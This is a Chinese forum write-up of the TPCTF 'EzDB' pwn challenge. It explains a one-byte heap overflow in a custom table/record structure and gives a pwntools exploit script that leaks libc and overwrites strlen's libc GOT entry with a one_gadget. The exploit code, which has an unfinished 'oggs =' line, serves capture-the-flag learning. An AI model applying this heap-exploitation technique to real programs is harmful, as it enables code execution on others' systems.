虾氲叱 发表于 2025-6-7 06:59:49

[TPCTF] EzDB详解

程序分析

第一眼菜单堆题,但程序自己实现了一个数据结构:表结构(page)储存Record

逆向出的page结构体如下,记录分配的内存以及record记录。然后堆内还存在一个数据结构records。两个结构之间的关系如图(请忽略我粗劣的画工)
struct TablePage
{
void *mem; // 分配的堆内存地址
void *records_end; // record结尾,在GetSlotNum函数中用于计算有多少个record
void *mem_offset; // 空闲内存,每次申请record从堆内存尾部分割
void *records_ptr; // record开始,在EditRecord函数用于索引到指定record
};
struct recordInHeap
{
uint16_t offset; // record内容在堆内的偏移
uint16_t size; // record的大小
};这里为什么要专门要创建一个recordInHeap结构体呢,主要是和菜单选项里的Record结构区分开来
堆内的records数组是向高地址生长,而内容则是向低地址生长

漏洞在于InsertRecord时,对堆内的剩余空间计算存在问题
page->mem_offset -page->records_end + 1 < Size + 4,我们只要令 申请的size +4= 剩余空间+ 1,就存在一字节的溢出。

然后memcpy复制的起始地址是page->mem_offset - Size,覆盖的是recordInHeap的size段的高位,接下来我们就可以进行愉快的堆溢出啦
之后就是常规的堆利用了,有很多利用思路,这里我选择劫持libc.got
首先leak出libc地址,然后通过溢出劫持TablePage结构体来实现任意写,修改libc的got.plt的strlen为one_gadget
因为程序打印menu时会调用puts函数,而puts函数内部又调用了strlen函数,触发ogg
exp

from pwn import *
import struct

def debug(c = 0):
    if(c):
      gdb.attach(p, c)
    else:
      gdb.attach(p)
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa= lambda text,data:p.sendafter(text, data)
sl= lambda data   :p.sendline(data)
sla = lambda text,data:p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru= lambda text   :p.recvuntil(text)
rl= lambda         :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda      :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg = lambda s   :p.success('%s -> 0x%x' % (s, eval(s)))
lgn = lambda s, n   :p.success('%s -> 0x%x' % (s, n))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['konsole', '-e', 'sh', '-c']
#context.terminal = ['gnome-terminal', '-e', 'sh', '-c']
file = "./pwn"
libc = "./libc.so.6"

p = process("./pwn")
elf = ELF(file)
libc = ELF(libc)

def add(idx):
    ru(">>>")
    sl(b"1")
    ru("Index:")
    sl(str(idx))

def edit(idx,sid,size,content):
    ru(">>>")
    sl(b"5")
    ru("Index:")
    sl(str(idx))
    ru("Slot ID:")
    sl(str(sid))
    ru("Varchar Length:")
    sl(str(size))
    ru("Varchar:")
    sd(content)

def insert(idx,size,content):
    ru(">>>")
    sl(b"3")
    ru("Index:")
    sl(str(idx))
    ru("Length:")
    sl(str(size))
    ru("Varchar:")
    sd(content)

def show(idx,sid):
    ru(">>>")
    sl(b"4")
    ru("Index:")
    sl(str(idx))
    ru("Slot ID:")
    sl(str(sid))

def delete(idx):
    ru(">>>")
    sl(b"2")
    ru("Index:")
    sl(str(idx))

for i in range(10):
    add(i)

for i in range(9, 1, -1):
    delete(i)

payload = p8(0x5).ljust(0x401 - 4, b'a')
insert(1, 0x401-4, payload)
show(1, 0)
ru(p64(0x3d1))
libcbase = uu64() - 0x21ace0
libc.address = libcbase
libc_got = libc.got["malloc"] + 0xa8

insert(0, 0x401-4, payload)
oggs =
payload = p8(0x5).ljust(0x401 - 4, b'a') + flat(0, 0x31, libc_got-4, libc_got-4, libc_got+8, libc_got-4)
edit(0, 0, len(payload) ,payload)
lgn("libcbase", libcbase)
lgn("strlen got", libc_got)
debug()
pause()
insert(1, 8, p64(libcbase + oggs))

ia()
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: [TPCTF] EzDB详解